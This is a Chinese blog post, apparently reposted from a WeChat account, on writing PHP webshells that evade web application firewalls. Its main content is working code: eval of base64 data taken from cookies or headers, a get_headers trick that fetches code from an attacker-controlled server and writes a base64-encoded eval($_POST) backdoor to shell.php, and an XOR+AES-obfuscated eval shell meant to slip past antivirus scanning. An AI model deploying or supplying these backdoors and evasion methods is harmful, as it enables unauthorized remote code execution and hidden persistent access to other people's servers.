PHP利用某些函数bypass waf探讨

admin 2022年7月23日01:26:07评论42 views字数 2352阅读7分50秒阅读模式

前言:

前几天写了一篇文章,由黑到白 这篇文章中用到echo的一个特性去一步一步写马PHP利用某些函数bypass waf探讨看师傅们的评论然后去研究了下原因 学到了很多 

比如linux写shell少了

_POST 空格以及$这些字符都写不进去 


也恰好看到了微信公众号里面有个师傅写了篇文章PHP利用某些函数bypass waf探讨链接如下
https://mp.weixin.qq.com/s/hRwYtDZ-dqqznhS3LdSxUA
里面提到了一个tips 
利用get_headers绕过了waf 顿时引来了自己的兴趣,

因为目前的很多waf是基于post包和get包来拦截的

如果我把参数内容可控到header头里面不就能稳稳的过了嘛

就开始研究了下这种tips用于实战,发觉还是蛮有趣的这里分享给大家


正文

原理的话:

个人理解的话感觉跟中转马有点像 这是这个可以突破的限制条件更多。

1.代码层次过滤了post以及get

这种绕过蛮简单的 直接把参数去session

或者cookie中或者headers中即可绕过了

#cookie传参
<?php
eval(base64_decode($_COOKIE["PHPSESSID"]));
?>
  
#session传参
  <?php

eval($_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]));

?>

PHP利用某些函数bypass waf探讨
image.png

2.代码层过滤了$ _ POST GET内容

思路方法1

利用getallheadrs去绕过 

适用于php版本大于5.5以上的

<?php
  session_start();

eval(getallheaders()['Demo']);

?>

5.5以下的好像不存在这个函数PHP利用某些函数bypass waf探讨5.5以上的PHP利用某些函数bypass waf探讨

思路方法2

利用get_headers 服务器内容如下

(后面的base64里面的可变成想要的如冰蝎的base64加密也可)

<?php
header('assert');
header("file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+'))");

马内容如下 适用于7.1以下 

这个用的assert 如果要高版本适用的话直接指定eval和assert即可

<?php

$a=get_headers('http://服务器地址/1.php');
$b=str_replace([':',' '],"",$a[6]);
$x=str_replace([':',' '],"",$a[7]);
$b($x);
?>
<?php

$a=get_headers('http://服务器地址/1.php');
$x=str_replace([':',' '],"",$a[7]);
eval($x);
?>

然后访问3.php即可成功创建shell.phpPHP利用某些函数bypass waf探讨d盾查杀效果1PHP利用某些函数bypass waf探讨这里没做免杀 想做静动态的免杀的话 其实也是可以的稍微改下即可 

可以结合这个加密算法改进下即可

动态即可过 

给大家抛砖引玉扔一个加密算法+shellcode静态免杀的  

动态可过60跟这个改即可

这个是加密算法a.php

<?php
$key1 = '123456';
$key = "password";
$fun = $_GET['func'];
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
echo $fun;
$encrypt = openssl_encrypt($fun, 'AES-128-ECB', $key1, 0);
echo "加密后: ".$encrypt;
?>

这个是shellcode的 shell.php

 <?php

function b(){
    $x = "password";
    $key1 = '123456';
    $fun = openssl_decrypt($_GET['func'], 'AES-128-ECB', $key1, 0);
    for($i=0;$i<strlen($fun);$i++){
    $z= $fun[$i] ;
    $fun[$i] =$z^$x[$i+1&7];
}
return $fun;
}

function a(){
  eval(b());
}

a();
PHP利用某些函数bypass waf探讨
image.png

PHP利用某些函数bypass waf探讨PHP利用某些函数bypass waf探讨

实战

结合追加的思路来组合打 

一步一步写内容进去即可完成了

多次追加把内容写进去后

然后进行访问即获取到shell了PHP利用某些函数bypass waf探讨


原文始发于微信公众号(goddemon的小屋):PHP利用某些函数bypass waf探讨

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月23日01:26:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP利用某些函数bypass waf探讨http://cn-sec.com/archives/1193819.html

发表评论

匿名网友 填写信息